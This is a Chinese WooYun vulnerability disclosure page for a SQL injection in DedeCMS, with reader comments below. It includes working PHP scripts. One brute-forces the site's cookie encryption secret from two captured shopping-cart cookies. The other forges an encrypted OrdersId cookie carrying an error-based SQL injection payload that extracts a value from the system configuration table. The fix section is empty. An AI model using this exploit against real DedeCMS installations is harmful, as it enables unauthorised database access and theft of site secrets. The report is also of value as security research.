当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(16) 关注此漏洞

缺陷编号: WooYun-2013-18567

漏洞标题: dedecms sql injection

相关厂商: dedecms

漏洞作者: yy520

提交时间: 2013-02-10 11:17

公开时间: 2013-02-10 11:17

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 5

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

5人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-02-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-02-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

一枚利用起来略微微复杂的sql inject
gpc on

happy new year :)

详细说明:

在 include/shopcar.class.php中

先看一下这个shopcar类是如何生成cookie的

code 区域
239      function saveCookie($key,$value)
240 {
241 if(is_array($value))
242 {
243 $value = $this->enCrypt($this->enCode($value));
244 }
245 else
246 {
247 $value = $this->enCrypt($value);
248 }
249 setcookie($key,$value,time()+36000,'/');
250 }



简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数



code 区域
186      function enCrypt($txt)
187 {
188 srand((double)microtime() * 1000000);
189 $encrypt_key = md5(rand(0, 32000));
190 $ctr = 0;
191 $tmp = '';
192 for($i = 0; $i < strlen($txt); $i++)
193 {
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
196 }
197 return base64_encode($this->setKey($tmp));
198 }

213 function setKey($txt)
214 {
215 global $cfg_cookie_encode;
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
217 $ctr = 0;
218 $tmp = '';
219 for($i = 0; $i < strlen($txt); $i++)
220 {
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
223 }
224 return $tmp;
225 }



enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的

然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。

具体代码如下:

code 区域
<?php

$cookie1 = "X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw=="; // here is the first cookie,change here
$cookie2 = "ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ=="; // here is the second cookie ,change here
$plantxt = "id=2&price=0&units=fun&buynum=1&title=naduohua1"; // here is the text , change here


function reStrCode($code,$string)
{
$code = base64_decode($code);
$key = "";
for($i=0 ; $i<32 ; $i++)
{
$key .= $string[$i] ^ $code[$i];
}
return $key;
}

function getKeys($cookie,$plantxt)
{
$tmp = $cookie;
$results = array();
for($j=0 ; $j < 32000; $j++)
{
$txt = $plantxt;
$ctr = 0;
$tmp = '';
$encrypt_key = md5($j);
for($i =0; $i < strlen($txt); $i ++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
$string = $tmp;
$code = $cookie;
$result = reStrCode($code,$string);
if(eregi('^[a-z0-9]+$',$result))
{
echo $result."\n";
$results[] = $result;
}
}
return $results;
}

$results1 = getKeys($cookie1,$plantxt);
$results2 = getKeys($cookie2,$plantxt);


print "\n--------------------real key--------------------------\n";
foreach($results1 as $test1)
{
foreach($results2 as $test2)
{
if($test1 == $test2)
{
echo $test1."\n";
}
}
}

?>



cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,

plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1



然后推算出md5(strtolower($cfg_cookie_encode))



得到这个key之后,我们就可以构造任意购物车的cookie



接着看



code 区域
20  class MemberShops
21 {
22 var $OrdersId;
23 var $productsId;
24
25 function __construct()
26 {
27 $this->OrdersId = $this->getCookie("OrdersId");
28 if(empty($this->OrdersId))
29 {
30 $this->OrdersId = $this->MakeOrders();
31 }
32 }



发现OrderId是从cookie里面获取的

然后

/plus/carbuyaction.php中的

code 区域
29      $cart    = new MemberShops();
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
......
173 $rows = $dsql->GetOne("SELECT `oid` FROM #@__shops_orders WHERE oid='$OrdersId' LIMIT 0,1");



接着我们就可以注入了

通过利用下面代码生成cookie:



code 区域
<?php

$txt = "1' or 1=@`\'` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\'` or '1'='1";

$encrypt_key = "9f09293b7419ed68448fb51d5b174834"; // here is the key, please change here

function setKey($txt)
{
global $encrypt_key;
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}

function enCrypt($txt)
{
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(setKey($tmp));
}

for($dest =0;$dest = enCrypt($txt);)
{
if(!strpos($dest,'+'))
{
break;
}
}

echo $dest."\n";

?>

漏洞证明:

本地测试成功

修复方案:

版权声明:转载请注明来源 yy520@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共5人评价):
登陆后才能进行评分
80%
20%
0%
0%
0%

评价

  1. 2013-02-10 12:29 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    1

    大哥是黑客

  2. 2013-02-13 15:45 | c4rp3nt3r ( 实习白帽子 | Rank:70 漏洞数:10 | 人生的意义就在于从一个圈子跳到另一个更大...)
    1

    真心赞,这么好玩的漏洞,这么详细的分析.wooyun还不给rank...

  3. 2013-02-13 22:31 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    1

    @c4rp3nt3r @yy520 @疯狗 @牛奶坦克 @Ray if(!strpos($dest,'+')) { break; } 为什么要这个代码 求解。

  4. 2013-02-17 10:46 | 盛大网络(乌云厂商)
    1

    牛逼

  5. 2013-02-17 11:40 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    1

    哟,有点吊哦

  6. 2013-02-17 12:42 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    1

    @xsser if(!strpos($dest,'+')) { break; } 为什么要这个代码 求解。

  7. 2013-02-17 16:37 | 神刀 ( 路人 | Rank:23 漏洞数:3 | www.shellsec.com内射那么牛,虾米没妹子?)
    1

    大哥是黑客

  8. 2013-02-18 10:18 | 盛大网络(乌云厂商)
    1

    if(!strpos($dest,'+')) { break; } 执行一次循环退出

  9. 2013-02-18 17:38 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    1

    @盛大网络 含义真牛逼 谢谢盛大黑阔

  10. 2013-02-25 21:01 | 鬼哥 ( 普通白帽子 | Rank:138 漏洞数:14 | 鬼哥 !!!!)
    1

    cfg_cookie_encode 能知道??

  11. 2013-04-20 13:58 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    0

    碰撞出cfg_cookie_encode的md5 @鬼哥

  12. 2013-06-26 11:11 | reall ( 路人 | Rank:0 漏洞数:2 | 小菜一个,不会挖0day,所以只有挖1day了,...)
    0

    我是来膜拜的。

登录后才能发表评论,请先 登录